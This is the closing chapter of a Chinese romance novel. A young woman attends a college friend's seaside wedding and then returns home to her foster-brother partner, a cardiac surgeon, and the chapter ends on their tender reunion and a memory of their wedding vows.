江问舟闻言笑起来,点点头,听对方接着问他是做什么工作,便笑着应道:“在容医大附一院。” “医生?哪个科啊?”同事看一眼齐眉,调侃道,“不会是在急诊吧?” 江问舟失笑,摇摇头:“心外,急诊对我来说还是难了点。” “心外哪里比急诊简单了。”同事似乎有些惊讶,“你们还是同行呢……” 说完又看一眼齐眉,问道:“你们不会还是同学吧?” “校友啦。”齐眉这时应道,指指江问舟,脸上笑眯眯的,“这是我学长哦。” 同事顿时就来劲了,哇哦地怪叫一声:“你们不会是约好要考同一所大学的吧?” 江问舟闻言看向齐眉。 齐眉摇摇头,一边把鸡翅的骨头吐掉,一边应道:“当然不是了,是……巧合而已啦。” 说完迅速将话题扯开,问对方国庆有没有打算去哪儿玩。 这一聊就聊到了他们都吃完饭,同事送完餐盘就先走了,齐眉和江问舟转头去窗口买面包。 边走她还边松口气,江问舟忍不住逗她:“我以后都不来了吧?你看来一趟就让你被同事们看热闹了。” “把你的手从你的良心上放下来。”齐眉扭头乜他。 江问舟顿时失笑,她哼了声,小声道:“看热闹就看呗,又不是见不得人,我才不怕。” 再说了,同一个热闹看多了就没意思了,多来才好。 她撇撇嘴,伸出手指去钩江问舟的。 江问舟笑着捉住她的手,勾住她戴着戒指的那根手指,温声嘱咐道:“出去要注意安全,登机落地,上车到店,记得给我发个信息。” “那边早晚温差大,给你多拿了一件外套,记得穿好,别回来就感冒了。” “别胡吃海塞,吃出肠胃炎来不划算,多拍点照片给我们看看……” 他说一句,齐眉就乖巧地点一下头,应声好,一点都不觉得他啰嗦。 就这么一直走到窗口前,江问舟停了下来。 齐眉这才扭头笑嘻嘻地问:“明早吃什么呀?” 江问舟眨眨眼:“我要是说都行……” 话没说完,齐眉就冲他挥了挥拳头:“揍你哦。” 江问舟笑着改口:“红豆包、玉米卷和肉松卷各来三个就够了,家里就几个人,也吃不了多少。” 齐眉让窗口的阿姨帮忙拣一下他要的几样,顺便问:“今天生云吞还有没有呀?还有的话也给我拿两盒,谢谢。” 阿姨答应了声,把拣好的面包递出来,又按了金额让她刷卡,这才转头去装她要的云吞。 “一斤云吞够吃了吧?”她转头问江问舟。 江问舟点头说够了,伸手接过她递过来的袋子,扭头看她一眼,似乎有话要说,但又没有讲,只用力捏了捏她的手指。 齐眉抬眼望向他,多少觉得有些遗憾。 这要不是在单位,在机场这种人来人往的地方就好了…… “西西。” 江问舟的声音在耳边响起,她立刻回过神,“怎么啦?” “没怎么。”江问舟笑着摇摇头,伸手抱了她一下,蹭蹭她的脸,叹口气,“早点回来,我在家等你。” 齐眉都不顾上看左右有没有人主意到他们,只觉得心里一软,情不自禁地回抱住他。 闷声闷气地问:“你是不是不想我去,所以才这样?” “怎么会,那是你好朋友的婚礼,于情于理你都不该缺席,只不过……”江问舟失笑,轻轻吻了一下她的鬓角,“别忘了回家的路。” 齐眉一面觉得他把话说得好严重,不知道还以为她要去干嘛,要去十年八年的呢。 一面又止不住眼底里的酸痒,用力眨了两下眼睛,才哼声道:“谁叫你不能一起去?等着吧,我玩够就回来了。” 江问舟笑着应好,拍拍她的背,这才松开她。 齐眉站在从食堂出来往医务室回去的路口,朝着另一边看过去,看着江问舟一步三回头的彻底走远,再也看不见背影了,这才转身继续往回走。 心底忽然就有种空落落的感觉。 她觉得自己越来越舍不得江问舟了。 但也确实很期待和蒋乐亭她们的见面,第二天一早交完班,提着行李箱就一溜烟跑了。 托运好行李,搭上今天从容城飞往姚敏婆家所在地的第二班航班。 飞机在午后落地,来接她的是蒋乐亭和徐丹若,她们俩是昨天就到了。 去酒店的路上,徐丹若兴致勃勃地跟齐眉说起她和蒋乐亭做的攻略,去哪儿吃海鲜比较好,哪儿的景色比较出片,安排得妥妥当当。 当然也满满当当,行程满到齐眉有点害怕:“就几天时间,我们去得完这么多地方吗?” 徐丹若满不在乎地挥挥手:“计划就是用来被打破的,去不了的地方就砍掉呗,你们回头看看有哪些地方是觉得一定得去的,咱们到时候优先去。” “海边!”开车的蒋乐亭立刻道,“我要去喂海鸥!” 这是一座近邻渤海的北方城市,气候宜人,风光优美,这个时候正是来这边旅游的黄金时间,景色又好,还有丰富的海鲜随便吃。 “姚敏他们这次婚宴就是在海鲜酒楼办的,她说明天的菜基本是海鲜,龙虾鲍鱼海参全都有。”徐丹若期待地道,“我准备一会儿不吃晚饭了,就等明天那顿。” “……你有病啊。”蒋乐亭无语,“又不是去吃自助,那么多人,你好意思猛猛吃,形象不要了?” 徐丹若噎了一下:“……我乐意,你别管!” “伴娘是谁啊?”齐眉连忙问道。 “她表姐和堂妹。”徐丹若回答道,“本来是想叫我,但我那会儿不太敢确定是不是一定能来,没敢答应。” 三人一路聊着天,说着从八月份那次见面分开后各自遇到的事。 齐眉犹豫片刻,还是跟她们说起了她和江问舟跟家里坦白关系的事。 蒋乐亭和徐丹若听得都傻眼了:“……什么?你意思是……你们以前是瞒着家里在一起的?” “这特么是怎么瞒得住的?爱和咳嗽、贫穷是没法掩盖的,难道这话不是真理?” “你们那时候……寒暑假回家,同住一个屋檐下,是怎么做到不被家长发现的?” 真是太匪夷所思了,家长这得多粗心,才没发现他们的不对劲? 不应该啊,听齐眉一贯以来的描述,她干爸干妈,也就是江问舟的亲爸亲妈,是很关心他们的,没理由一点蛛丝马迹都没发现吧? 齐眉讪讪,努努嘴有些惭愧地道:“家里人太相信我们了,觉得我们打打闹闹是兄妹之间的亲近。” 听的俩人先是对她发出啧啧啧的指指点点,接着又开始讨论兄妹、姐弟之间长大以后怎么相处才最合适,因为有的嫂子或者弟妹真的会介意自己的配偶和妹妹或者姐姐相处亲密。 这个话题还没说完,酒店就到了。 姚敏和父母,还有来参加婚礼的亲友都住在这家酒店,双方家里给从外地过来的亲友都安排了住宿。 齐眉和蒋乐亭还有徐丹若住一间房,她听着她们俩争谁跟她睡,只觉得自己简直就是妲己。 忍不住翻了个白眼:“我还在这儿呢,到底有没有人在意我的感受啊?!” “我拒绝!”她双手在胸前比了个大大的叉,后退一步,“我不跟我哥以外的人睡!” “哦哟,你还怪专一忠贞的咧。”徐丹若乜她,伸手捏她的痒痒肉,最后几个人打闹着倒在床上。 闹了没一会儿,听见一阵笃笃的敲门声。 “……快去开门啦。”齐眉咽下笑声,推了一把蒋乐亭,跟着坐起来。 她跟在蒋乐亭后面去开门,看见门外站着一个陌生的女孩子。 对方看见她,似乎愣了一下,目光先是惊讶,随即有些不好意思地转开视线,对蒋乐亭道:“乐亭姐,我姐让我来问你们一会儿中午跟不跟我们一起吃饭。” 蒋乐亭先给齐眉介绍这是姚敏的堂妹,然后问她和徐丹若:“去吗?” “去哪儿吃啊你们?”徐丹若反问道。 说是就在酒店吃,徐丹若立刻就表示:“可是我更想去吃饺子中的爱马仕。” 等姚敏的堂妹离开,关上门,齐眉才问:“咱们去吃什么饺子啊?” “海胆水饺。”徐丹若让她看自己做的攻略,“这家店很多人推荐,有的说巨好吃,有的说排队人太多了,味道也就那样,不值当,我们外地人也不懂,就随大溜去吃吃看呗,吃过才知道好不好吃,你说呢?” “有道理,那就去。”齐眉点点头。 她们出门的时候,顺路上楼跟姚敏交代一声,在她房间看到她堂妹,对方目不转睛地看向齐眉,因为没有感觉到什么恶意,齐眉便笑眯眯地冲她歪了一下头。 对方立刻不好意思地别开眼,眼神还飘了一下。 姚敏看见,哭笑不得地道:“你要不要跟姐姐们去吃水饺?” 她明显意动,但却摇摇头拒绝了,齐眉她们也没勉强,打过招呼就结伴离开了姚敏一家入住的套房。 一直到进了电梯,周围也没别的人,蒋乐亭才笑着屈肘怼了一下齐眉胳膊,哈哈笑道:“阿敏她堂妹看你的眼神,跟我们以前大一第一次见面,她看你的时候好像啊。” 大概就是那种看到漂亮女生会忍不住多看几眼的好奇,和被发现之后的赧然。 徐丹若被蒋乐亭*这话提醒,也忍不住哈哈笑起来,隔着齐膊微微探头跟她道:“那会儿她都不敢跟阿眉说话,偷偷和我说,我靠我们舍友好漂亮。” 而且还是一个帅哥送她去的宿舍,一开始还以为是她男朋友,结果她刚进门看一眼自己的床铺,就说哥我住这儿吧。 仨人立刻对眼色,原来是兄妹啊,这家基因真好。 蒋乐亭乐不可支,连连点头:“对对对,她是最后一个跟阿眉熟起来的。” 齐眉也想起来那会儿的事,忍俊不禁道:“那会儿我们一起去图书馆你们记不记得,阿敏都不跟我走的,搞得我以为她讨厌我。” 她说完就跟她们俩一起笑出声来。 这些旧事说起来还记忆犹新,仿佛发生在昨天,可一转眼已经是十年前的事了。 “时间过好快呀。”齐眉语气轻快,“我们现在都要成家了。” “可不是么。”蒋乐亭拢了一下身上的薄外套,伸手挽住她的胳膊,“这都十月份了,今年又要过去咯,感觉好像才过了年没多久……” 长大以后的时间一年就像一个季度,才换了两套衣服就过完了,而两天三天就更短了,仿佛只是一眨眼。 姚敏的婚礼办得不算很隆重,但十分温馨隆重,他们连司仪都没请,全程是夫妻俩主持,流程也简洁,很快就进入吃吃喝喝环节。 海鲜大餐很丰盛,大家也喝得很尽兴,姚敏的爸妈对她们三个能千里迢迢过来参加婚礼感到高兴,几天里对她们格外关照。 他们的态度影响了姚敏婆家的人,大概也是为了表示对儿媳妇的看重,齐眉他们要离开的时候,他们还给准备了丰厚的回礼。 姚敏和丈夫老宴送她们去机场,大家在机场依依惜别,尤其是对齐眉。 “阿眉你时间多,记得去申城看我们啊!” 齐眉点头应好:“有机会就去。” “你们结婚的时候记得给我们派请帖。” 齐眉闻言嘿嘿一笑:“好好好,这个一定不会忘记的。” 直到再不走就赶不上飞机了,齐眉这才同她们彻底挥手道别,匆匆往自己所乘航班的检票口走。 她听着飞机起飞的轰鸣,心里有些惆怅生出,无论何时,分离总是件让人不太高兴的事。 飞机越升越高,钻进了云层,齐眉从窗口望出去,看见干净的蓝天,那点和好友短暂相聚过后迎来长久分离的怅然渐渐被归心似箭取代。 她想家里了,想江问舟,想干爸干妈,想金金年年,还有店里的大家。 下午三点,飞机在容城国际机场落地,齐眉等到行李,匆匆往停车场方向走。 路过平时坐班的医务点时,还下意识扭头看看,见同事正在接待有需要的旅客,便抿唇笑笑。 没有进去打个招呼的想法,她怕江问舟在车上等急了。 但走到半路,还是和实在按捺不住下来接她的江问舟碰了个正着。 将行李箱递过去,这才问:“不是让你在车上等我么?也没多少东西,用不着接的。” 江问舟笑笑,揽着她的肩膀往停车位走,边走还边问她这几天玩得高不高兴之类。 等上了车,不等齐眉系好安全带,就被他抓着胳膊拉了过去。 她的疑惑被迅速湮灭在相贴的唇齿之间。 他的舌尖带着急切莽撞地冲过自己牙关的那一刻,齐眉感觉到灵魂似乎正随着他微颤的嘴唇产生共振。 思念竟然在这个已经见面的时刻猝然到达顶峰。 齐眉下意识地抬手攀上江问舟的脖颈。 她靠在座椅里,江问舟的气息有些霸道,几乎将她完全包裹。 又是在这样封闭的空间,彼此呼吸的每一点细微变化都会被放大,听到耳边的呼吸从平稳变得急促,喘息声越来越重,她不自觉地想起那些肌肤相贴的时刻。 没过多久便觉得自己浑身发软,周围的温度也很高,渐渐有些呼吸困难。 她有些分不清是十月的容城炎热依旧,还是空间密闭空气不流通才会这样。 “嗯——” 江问舟理智尚存,在发觉齐眉身体出现熟悉的变化那一刻,便立即将注意力往回拉。 原本已经变得激烈的动作渐渐变轻,连同呼吸也慢慢恢复平缓。 仿佛是夏日里一次突如其来的阵雨,来得快,去得也快,最后只剩下轻缓的微风。 齐眉的意识在他和风细雨一般的亲吻里回笼,有些不好意思地别开头,侧脸贴在他肩膀上平复呼吸。 江问舟摩挲着她的后背,亲亲她的耳尖,叹口气,在她耳边低喃:“这几天有没有想我?” 齐眉揪着他的衣襟,低声嗯了一下。 应完又觉不够,抬手摸着他的侧脸,说了声:“想的。” 江问舟刚想追问有多想,她就抢先道:“我们快回去,好不好?” 他这时松开齐眉低头看向她的脸,被她眼里潋滟的眼波吸引。 黝黑的眸子里似乎藏着千言万语,是不用特意说明的眷念,也是未曾出口的某种邀约。 他忍不住吞咽了一下。 最后到底是什么也没说,低头蹭蹭她鼻尖,帮她将安全带系上,这才启动车子。 回去的车速似乎格外的快,反正齐眉觉得比平时自己上下班的用时都少。 刚进门,拉着的行李箱都还没放开,就被江问舟按在了门上。 似乎只有大战一场才能纾解在分离的日子里堆积起来的情绪和欲望。 他们连体婴一般从客厅进了浴室,半天才出来,浴室里潮热的温度还没褪去,卧室里弦歌又起。 一直到天都黑透了,这动静才停歇,俩人也不开灯,就这么互相依偎着嘀嘀咕咕讲小话。 都是些很无聊没营养的话题,齐眉甚至问他:“哥,你觉得幸福吗?” 江问舟嗤一下笑出声来,逗她:“我姓江,不姓符。” 齐眉一噎:“……求求你放过这些老梗吧!” 江问舟笑了好半晌才停下来,摸着她的脸,语气认真地回答她的问题:“很好,西西,我觉得我现在的每一天都过得很快活,我希望能一直这样。” 为此他会做菩萨最虔诚的信徒,以祈她能永远庇佑他和齐眉。 齐眉听了他的话嘻嘻笑了两下,一面往他怀里腻,一面摸着他的腹肌问道:“我们明天干什么呀,还睡懒觉吗?” 哦,又不是她刚才嚷嚷说不行了的时候了。 江问舟捏捏她的脸,失笑:“妈有交代我们,要一起回去吃饭。” 对哦,他们要回家吃饭的。 “真好啊。”齐眉安静了一会儿,忽然说,“明天快点来。” 江问舟失笑,嗯了声。 他期待的是往后余生每一天,他会看着她一天天变老,眼角长出皱纹,脚步变得蹒跚。 可她依然会是很多很多年前,他领着长大的小姑娘。 “舟舟,妹妹以后就住我们家了,你是哥哥,要好好照顾妹妹,知道吗?” “知道了。” “从今以后你们就是夫妻了,要互帮互助,凡事有商有量,成为彼此的后盾和退路,记住了吗?” “记住了。” ————全文完————